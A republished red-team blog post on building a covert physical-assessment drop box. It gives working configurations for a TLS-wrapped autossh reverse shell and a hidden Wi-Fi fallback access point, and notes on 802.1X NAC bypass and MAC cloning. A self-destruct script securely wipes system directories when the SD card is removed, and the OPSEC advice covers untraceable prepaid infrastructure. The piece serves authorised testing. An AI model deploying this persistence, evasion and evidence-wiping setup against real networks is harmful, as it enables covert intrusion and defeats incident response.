• caglararli@hotmail.com
  • 05386281520

Creating an IR Nightmare Drop Box

Creating an IR Nightmare Drop Box

A common objective of physical assessments is placement of a drop box to establish communication out of the network environment. A few years ago, the choices were limited to NUC or a Raspberry PI type of device. Each had their pros and cons when looking to balance concealment and a device’s power (CPU, memory and storage). Gladly, today’s physical penetration tester has numerous choices to use as a drop box, from commercial products to barebones roll-your-own.

This article will focus on my one of my two favorite types of drop boxes that balance power, deployment flexibility, and concealment size. The scope of this article will touch sample configurations and the “whys” for the configuration. Since this article got long, the import topic of concealment will be detailed in a follow-up article.

The first of my two go-to drop boxes is the Nano Pi R1. This device’s hardware is impressive with Quad-core CPU, dual NICs, 1GB DDR3 Ram, 8GB eMMC internal storage, Wi-Fi, and support for Ubuntu Core, for under $100.

If the cost of $100 for a drop box concerns you, then the Orange Pi R1 or another Nano PI without the internal storage and additional memory may be a better choice for your initial testing.

Some of the reasons I like the Nano Pi R1 are the 8GB eMMC storage and MicroSD card slot. Since this unit looks like a Raspberry PI, the SD card is perfect for a dummy OS and configuration for the IR team to focus on. Additionally, a self-destruction script that checks for the SD card at boot can further protect your callback infrastructure by secure wiping the internal eMMC storage.

The Dual NICs allows for placing the device in line with a device on the network. This allows for hiding the device on the network by using MAC address cloning and allows for 801.X NAC bypasses (2004). The Wi-Fi allows for on-site access. Nothing is worse than a successful placement but no ping home. The ability to access and edit the configuration of a successfully placed box is priceless. The configuration I use only brings up the device’s Wi-Fi as an access point if the device cannot access the internet or the STUNNEL fails to call home. Many Wi-Fi products now have the ability for rogue device detection, so using an LTE side channel or turning on the Wi-Fi AP only when things don’t work allows for it to remain stealthy.

The two USB ports and Serial interface allow for adding in an LTE side channel. I prefer an LTE modem without Wi-Fi, to avoid any possible detection. The Nano Pi R1’s support for Ubuntu means it will work well with several different USB modems, but you need to factor in the USB modem with your concealment design.

Installation

Friendly Elec has a simple installer script and instruction on their Wiki page for installation onto the eMMC storage.

Installation will require the use of a USB to TTL Serial debug console cable to access the debug UART. The biggest problem always is making sure the debug console cable is correctly plugged in, with the TX and RX channels properly crossed. Since universally “black = ground” and “red = power”, it normally only means switching two wires to get access to the console.

For device console work, I prefer picocom. The command sudo picocom /dev/ttyUSB0 -b 115200 seems to always work when the cable is correctly wired.

Text Description automatically generated

Drop Box Configuration

To simplify this article and save your reading time, I basically use the well documented classic 802.1x 2004 bypass method to set up the transparent bridge. If you’re unfamiliar with this method the reference section below lists some very good writeups, with dolojs and silentbridge articles filling in details purposely left out.

The important thing about drop box placement is meeting your client’s needs and understanding your client’s cyber security maturity. This could mean using a Wi-Fi AP, LTE side channel, or egress C2 from their network. For the purposes of this article, I will focus on using the Wi-Fi AP as the side channel.

As stated above, my basic bridge configuration is built around Michael Schneider’s version of Nackered, which is based on Duckwall’s Def Con 19 talk. Reviewing these refences will provide you with a setup script you can use with a @reboot cron job such seen below or an /etc/init.d job.

Text Description automatically generated

I like to have the drop box reboot at 00:01, one minute after midnight, just in case the box drops or has some other issue that only CTL+ALT+DELETE can fix.

One import item to note is that all the scripts referenced below require knowing which network interface is plugged into the switch and plugged into the device. The 1GB port, (left hand network port on the Nano PI R1), is the preferred switch port and the 100MB port (right hand network port) with the MiTM device.

As seen below, the ASA shows the MAC address and IP address of the MiTM PC.

MiTM ebtables

Text Description automatically generated

ASA show arp

Text, chat or text message Description automatically generated

Drop Box Access

For remote connections, I use autossh with the public keys of the engagement consultant. Autossh provides robustness to the SSH reverse shell. STUNNEL using PKI authentication protects against MiTM attacks and further conceals SSH reverse shell traffic. Depending on the engagement, egress communication can be over the LTE side channel or egress from the client’s network.

STUNNEL

STUNNEL is an open-source software by Michal Trojnara, that provides a TLS encryption wrapper for other services. STUNNEL provides a means to authenticate with passwords or public keys. I would recommend using PKI authentication since the TLS certificate could be visible to the client.

For PKI authentication you can use a LetsEncrypt certificate with the client/server traffic, which would blend in better than a self-signed certificate. The following is a sample configuration that can be placed into /etc/stunnel/stunnel.conf on the drop box (client) and remote server.

+++++ Client Stunnel config ++++++++ 
cert = /etc/stunnel/fullchain1.pem 
key = /etc/stunnel/privkey1.pem 
#chroot = /var/run/stunnel4 
pid = /tmp/stunnel.pid 

setuid = stunnel4
setgid = stunnel4
client = yes

[ssh]
accept = 2222
connect = <FQDN>:443

++++ SERVER +++++++ 

cert = /etc/letsencrypt/archive/<FQDN>/fullchain1.pem 
key  = /etc/letsencrypt/archive/<FQDN>/privkey1.pem 
sslVersion = TLSv1 
#options = NO_SSLv2 
#options = NO_SSLv3 
chroot = /var/run/stunnel 
setuid = www-data 
setgid = www-data 
pid = /stunnel.pid 
socket = l:TCP_NODELAY=1 
socket = r:TCP_NODELAY=1 

[ssh] 
accept = 443 
connect = 22 
TIMEOUTclose = 0

This configuration sets up the stunnel client to listen for the SSH service on tcp/2222 to redirect TLS-encrypted traffic to the remote server on tcp/443. The stunnel server will listen for a connection on tcp/443 and redirect the TLS-decrypted traffic to the local SSH service listening on tcp/22.

You may need to edit the setuid, setgid and pid to get stunnel working on your infrastructure and its /etc/init.d/stunnel configuration. At the time of writing this article the above works with Ubuntu, but my stunnel init.d script is modified.

AutoSSH

AutoSSH is a service that monitors SSH sessions and tunnels to restart automatically if traffic stops.

To create autossh as a service, place the following configuration into a file called autossh.service under /etc/system/system/ :

[Unit] 
Description=Auto Reverse SSH 
#Requires=systemd-network.target 
#After=systemd-networkd-wait-online.service 

[Service]
Environment=“AUTOSSH_GATETIME=0”
ExecStart=/usr/bin/autossh -M 0 -N -o “PubkeyAuthentication=yes” -o "PasswordAuthentication=no” -o “ExitOnForwardFailure=yes” -o “ServerAliveInterval 60” -o “ServerAliveCountMax 3” -i /root/.ssh/id_rsa -p 2222 proxyuser@localhost -R 8081:localhost:22
ExecStop=/usr/bin/pkill autossh
Restart = always

[Install]
WantedBy=multi-user.target

The command: systemctl enable autossh will enable the autossh service to start at boot. The main part of this config, ExecStart, tells autossh to create a reverse ssh tunnel over the STUNNEL channel listening on local network port tcp/2222. The remote server will have a listener on tcp/8081 created.

To connect to this tunnel, we can use ssh localhost -p 8081 on the remote server or use SSH tunnelling magic that passes through the remote server to the drop box.

Why not OpenVPN ? For physical engagements, the drop box is an initial foothold to only be used to access the target by other means. Where a traditional penetration testing engagement assigned to an unknown consultant, using a NUC with OpenVPN to call back is very effective, especially if the NUC uses a LUKS protected disk and the decrypt key is provided to the client by a secondary channel.

Wi-Fi AP

I found with the Nano Pi R1 you will needed to use the armbian-config command to configure the internal Wi-Fi adapter as an access point during setup to have device setup and install hostapd correctly. The Hotspot command can be found under Network.

Text Description automatically generated

The Wi-Fi AP is configured using the /etc/hostapd.config file. Disable SSID broadcasts by setting ignore_broadcast_ssid=1 within the config. For a SSID you can look to match something around your client’s location or use something like “jeans iphone” or “CEO iphone”. Be aware of your client’s cyber maturity and policies. I had a client that would actively DoS anything that appeared to be a hotspot, but they also had IDS on printers.

The following check added as a cron job can be used to check if the SSH tunnel is up, and if not turn on the Wi-Fi AP.

#!/bin/bash 

while true
do
netstat -antp | grep -v grep | grep -e ”IP_ADDRESS_OF_REMOTE_SERVER:8081” > /dev/null
result=$?
If [ “${result} -ne “0” ]
then
# turn up AP Wireless hotspot
ifconfig wlan0 down
/etc/init.d/dnsmasq stop
/etc/init.d/hostapd stop

   sleep 2
   ifconfig wlan0 172.24.1.1/24 up 
   sleep 2 
   /etc/init.d/dnsmasq start 
   /etc/init.d/hostapd start 
   sleep 1 
fi 

sleep 3600 

done

Alternatively, # turn up AP Wireless hotspot can be added to the NAC bypass script of your choice.

Self-Destruction

In a cron job that runs at random times, the following sample bash script can be used to check if the SD card was removed. If the SD card has a removed message in /dev/kmsg, then perform a secure wipe of certain directories and files.

#!/bin/bash

dmesg | grep -v grep | grep “mmc0: card.*removed” > /dev/null
result=$?

If [ “${result}” -eq “0” ]
then
srm -r /boot
srm -r /root/.bash_history
srm -r /root/.ssh/known_hosts
srm -r /etc/stunnel/stunnel.conf
srm -r /root/working/
srm -r /etc/hostapd.conf
srm -r /tmp/nac.txt
srm -r /etc/init.d/
srm -r /etc/
srm -r /root/
srm -r /home/
srm -r /tmp/
fi

This script first wipes the boot partition, then works through files that may disclose the callback infrastructure or contain test data. Of course this script and logic can be enhanced in multiple ways for wiping the eMMC disk. Additionally, monitoring for a serial console cable being attached to a deployed drop box could be used to trigger the above script to run.

POC Wipe Script

The following is a POC wipe script for testing that will write a message to dmesg and delete all the contents of /home/test. The while loop allows for starting monitoring when the device boots.

Text Description automatically generated

Dmesg Log and Contents of Home

Text Description automatically generated

With your testing, remember to run dmesg -C between removing and inserting the SD card to clear the card removed message.

OPSEC notes

  1. If you send traffic over the client’s network, both the LetsEncrypt SSL certificate and server infrastructure can be tracked to an account. Pre-paid cards paid with cash can be used to purchase hosting services.
  2. LTE side channel SIMS / IMEI number can be tracked to an account, either from the physical device or cell tower access; however, careful use of a prepaid bought service and being mindful of when and where you turn on the modem can help reduce these attestations.

My 2019 Derby Con talk provides ways that still work to avoid attestation.

Conclusion

This article highlighted how one type of PI device with an internal storage card and SD card can enhance a drop box and hinder an IR event. While this is overkill for most engagements, having this ability against the right target may provide a better engagement.

In a later article I will provide details on how to create concealment for your drop box.

References

The post Creating an IR Nightmare Drop Box appeared first on Nettitude Labs.

Article Link: Creating an IR Nightmare Drop Box - Nettitude Labs

1 post - 1 participant

Read full topic